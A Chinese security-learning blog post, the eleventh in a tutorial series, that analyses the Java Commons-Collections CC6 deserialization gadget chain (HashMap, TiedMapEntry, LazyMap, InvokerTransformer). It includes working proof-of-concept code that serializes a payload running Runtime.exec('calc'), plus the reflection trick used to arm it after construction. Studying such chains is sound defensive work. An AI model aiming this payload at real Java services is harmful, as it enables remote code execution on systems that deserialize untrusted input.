JAVA安全|Gadget篇:无JDK版本限制的CC6链

admin 2023年1月11日01:44:27评论103 views字数 5857阅读19分31秒阅读模式
0x00  前言
    JAVA安全系列文章主要为了回顾之前学过的java知识,构建自己的java知识体系,并实际地将java用起来,达到熟练掌握java编程,并能用java编写工具的目的。此系列文章需要读者具备一定java基础,不定时更新。相关详情可通过我的公众号文章进行查看:
JAVA安全|即将开启:java安全系列文章
    Gadget篇主要是分析一些经典常见的反序列化链,基本来自于Ysoserial工具。与网上大部分分析反序列化链文章的不同点在于我会尽可能地从如何发现链子的角度来讲解,参考的资料主要为B站白日梦组长的视频以及P牛的JAVA安全漫谈系列文章

    本文为JAVA安全系列文章第十一篇。来学习最好用的无JDK版本限制的CC6链。

0x01  思路分析

在上一篇中,我们提到两条CC1链都只能在JDK8u71之前使用,那么有没有一条比较通杀的链子,可以无视JDK版本呢?有!!!那就是CC6链。

那么这条链子又该如何去找呢?

在上一篇中我们谈到LazyMap.get()方法中会调用factory.transform(key),factory为一个Transformer类型,让其为我们构造的ChainedTransformer对象就可以触发链子执行任意命令。但当我们逆推去找谁调用了get()时,发现有很多,这让我们无从下手。而细想一下,很多地方调用了get()是不是也意味着机会更多?

我们换个思路,LazyMap本质就是个Map,要构造一条比较通杀的链子,从某个类的readObject(),调用到一个Map的get() 方法。那么这个“某个类”,你首先会想到哪个?基本都会回答HashMap吧~

我们在分析URLDNS链时也是用HashMap.readObject()做的入口点,如果记不清了可以回看。HashMap.readObject()最终会调用到key.hashcode(),这是当时我们做的分析:

JAVA安全|Gadget篇:无JDK版本限制的CC6链

那么问题可以转化为有没有这样一个类,其hashCode()方法中可以调用到一个Map的get()方法?由于要调用到Map的get(),那这个类极有可能也是跟Map相关;且要无视JDK版本,那么这个类最好是Commons-Collections 组件中就有或者在JDK中高版本和低版本都一样的类,比如像入口类HashMap这样的,但最先选择还是Commons-Collections 组件中的类。

找的思路应该是这样的,Ysoserial作者最终找到的类是TiedMapEntry,位于org.apache.commons.collections.keyvalue包中。

0x02  TiedMapEntry

先来看下TiedMapEntry这个类:

JAVA安全|Gadget篇:无JDK版本限制的CC6链

    简单明了,可序列化,hashCode()中调用getValue(),getValue()中再调用map.get()。参数都可由我们控制。TiedMapEntry中的map传入我们构造的LazyMap,链子就接起来。那么Gadget Chain就出来了:

JAVA安全|Gadget篇:无JDK版本限制的CC6链

0x03  POC编写

根据上面的分析以及此前两条CC1链的代码我们可以写出如下代码:

public class CC6 {
   public static void main(String[] args) throws IOException, ClassNotFoundException {
       Transformer[] transforms = new Transformer[]{
               new ConstantTransformer(Runtime.class),
               new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
               new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
               new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
      };

       ChainedTransformer chainedTransformer = new ChainedTransformer(transforms);

       Map innerMap = new HashMap();
       Map lazyMap = LazyMap.decorate(innerMap, chainedTransformer);
       TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "xxx");

       HashMap hashMap = new HashMap();
       hashMap.put(tiedMapEntry,"test");

       ByteArrayOutputStream bos = new ByteArrayOutputStream();
       ObjectOutputStream oos = new ObjectOutputStream(bos);
       oos.writeObject(hashMap);
       oos.close();

       ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray()));
       ois.readObject();
  }
}

然而正当我们以为大功告成时,却发现,其实还没执行序列化和反序列化代码就已经弹计算器了:

JAVA安全|Gadget篇:无JDK版本限制的CC6链

why?其实这与分析URLDNS链时一样,put方法最终会调用到hashCode():

JAVA安全|Gadget篇:无JDK版本限制的CC6链

从而就会触发我们构造的链子弹计算器,那怎么解决这个问题呢?

可以效仿上一篇LazyMap CC1链中提到的Ysoserial中会先传入一个人畜无害transformers,最后才将执行命令的Transformer数组设置到transformerChain中,以避免未执行反序列化就触发命令执行的问题。将代码修改如下:

public class CC6 {
   public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
       Transformer[] fakeformers = {new ConstantTransformer(1)};
       Transformer[] transforms = new Transformer[]{
               new ConstantTransformer(Runtime.class),
               new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
               new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
               new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
      };
       
//先传入人畜无害的fakeformers避免put时就弹计算器
       ChainedTransformer chainedTransformer = new ChainedTransformer(fakeformers);

       Map innerMap = new HashMap();
       Map lazyMap = LazyMap.decorate(innerMap, chainedTransformer);
       TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "xxx");

       HashMap hashMap = new HashMap();
       hashMap.put(tiedMapEntry,"test");

       //反射修改chainedTransformer中的iTransformers为transforms
       Class clazz = chainedTransformer.getClass();
       Field field = clazz.getDeclaredField("iTransformers");
       field.setAccessible(true);
       field.set(chainedTransformer,transforms);

       ByteArrayOutputStream bos = new ByteArrayOutputStream();
       ObjectOutputStream oos = new ObjectOutputStream(bos);
       oos.writeObject(hashMap);
       oos.close();

       ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray()));
       ois.readObject();
  }
}

解决了put时弹计算器的问题,但完整执行完代码不弹计算器?这又是咋回事?

其实还是上面的问题,put时会调用链子,从而进入LazyMap.get(),此时没弹计算器是因为我们传入了人畜无害的fakeformers,同时此时会往LazyMap的map中写入键值对("xxx",1):

JAVA安全|Gadget篇:无JDK版本限制的CC6链

从而使得在反序列化时,LazyMap的map属性中有了"xxx"这个键名,就不会进入到if条件,反序列化时也就进入不到transformers数组执行命令了:

JAVA安全|Gadget篇:无JDK版本限制的CC6链

这个问题又怎么解决呢?很简单,在put后移除掉lazyMap中的"xxx"这个键名就可以了。

最终POC如下:

JAVA安全|Gadget篇:无JDK版本限制的CC6链

我将这条链在JDK11下运行,毫无问题:

JAVA安全|Gadget篇:无JDK版本限制的CC6链

0x04  Ysoserial中的POC

上面的POC是p神在《JAVA安全漫谈》中简化的CC6。我们来看下Ysoserial中的Gadget Chain:

JAVA安全|Gadget篇:无JDK版本限制的CC6链

Ysoserial中是使用HashSet.readObject()作为入口,是利⽤ java.util.HashSet#readObject 到 HashMap#put() 到 HashMap#hash(key) 最后到 TiedMapEntry#hashCode()。

这里简单介绍下HashSet:

HashSet是一个集合,单列集合,并不像HashMap这样是双列集合,里面存放的是键值对。HashSet其中的元素是无序,且不能重复的,其底层实现逻辑还是HashMap。后面应该会写一篇文章详细讲讲HashSet,HashMap之间的联系和底层实现逻辑。本文就理解到这吧~

理解了上面的POC,参照Ysoserial中的Gadget chain,我们不难写出这条链的POC:

JAVA安全|Gadget篇:无JDK版本限制的CC6链

但当我们去看Ysoserial的源码,显然不是这么回事,其代码⻓度和理解的难度都相应增加了。下面是后半部分代码,对我这种菜鸟来讲,实在不理解:

JAVA安全|Gadget篇:无JDK版本限制的CC6链

Ysoserial中的有些代码相对来说比较难理解,甚至有些冗余。这就是像我这样的初学者不被建议去直接读Ysoserial源码的原因。初学者重点还是应学习每条Gadget的原理,其精髓。倘若只是从代码触发点⼀层⼀层跟进代码,调试⼀遍执⾏流程,这毫无意义。学习多思考,这很重要。每学了新内容,我都会写一篇文章出来。一来,复习巩固;二来,在写文章时自己也会思考怎么去给读者讲清楚这个东西,自然也会进行更深入的思考。

0x05  总结

1.CC6链和URLDNS链的入口点可以说都是HashMap.readObject(),在编写POC时遇到的问题是类似的。

2.对于POC编写时遇到的会提前执行利用链的问题,我们可以先在关键地方传入人畜无害的东西,最后再通过反射去修改这个人畜无害的东西为“有害的”即可。这个技巧很重要,后面还会用到。

另外,由于先传入了人畜无害的东西,链子被执行了一次,可能会导致在反序列化时反序列化出来的对象不如我们原先设想的那样,可能会导致进入不到执行利用链的逻辑里了。这应当产生注意,具体问题具体分析。

3.Ysoserial中的有些代码比较冗余复杂,让人难以理解。对于初学者来讲并不建议去直接读Ysoserial中的源码。比较推荐p神的《JAVA安全漫谈》和B站白日梦组长的视频。

我们已经有了CC6这样通杀的链了,还需要学习其他CC链么?当然有需要!!!

假如我们最终执行命令的InvokerTransformer这个类被加入到黑名单中了呢?那我们就得换种可以执行命令的方式了。

欲知后事如何,且听下回分解~


参考:

p神《JAVA安全漫谈》

B站白日梦组长


Java安全系列文集

第0篇:JAVA安全|即将开启:java安全系列文章

第1篇:JAVA安全|基础篇:认识java反序列化

第2篇:JAVA安全|基础篇:实战java原生反序列化

第3篇:JAVA安全|基础篇:反射机制之快速入门

第4篇:JAVA安全|基础篇:反射机制之Class类

第5篇:JAVA安全|基础篇:反射机制之类加载

第6篇:JAVA安全|基础篇:反射机制之常见ReflectionAPI使用

第7篇:JAVA安全|Gadget篇:URLDNS链

第8篇:JAVA安全|Gadget篇:TransformedMap CC1链

第9篇:JAVA安全|基础篇:反射的应用—动态代理

第10篇:JAVA安全|Gadget篇:LazyMap CC1链


如果喜欢小编的文章,记得多多转发,点赞+关注支持一下哦~,您的点赞和支持是我最大的动力~

原文始发于微信公众号(沃克学安全):JAVA安全|Gadget篇:无JDK版本限制的CC6链

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年1月11日01:44:27
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   JAVA安全|Gadget篇:无JDK版本限制的CC6链http://cn-sec.com/archives/1512652.html

发表评论

匿名网友 填写信息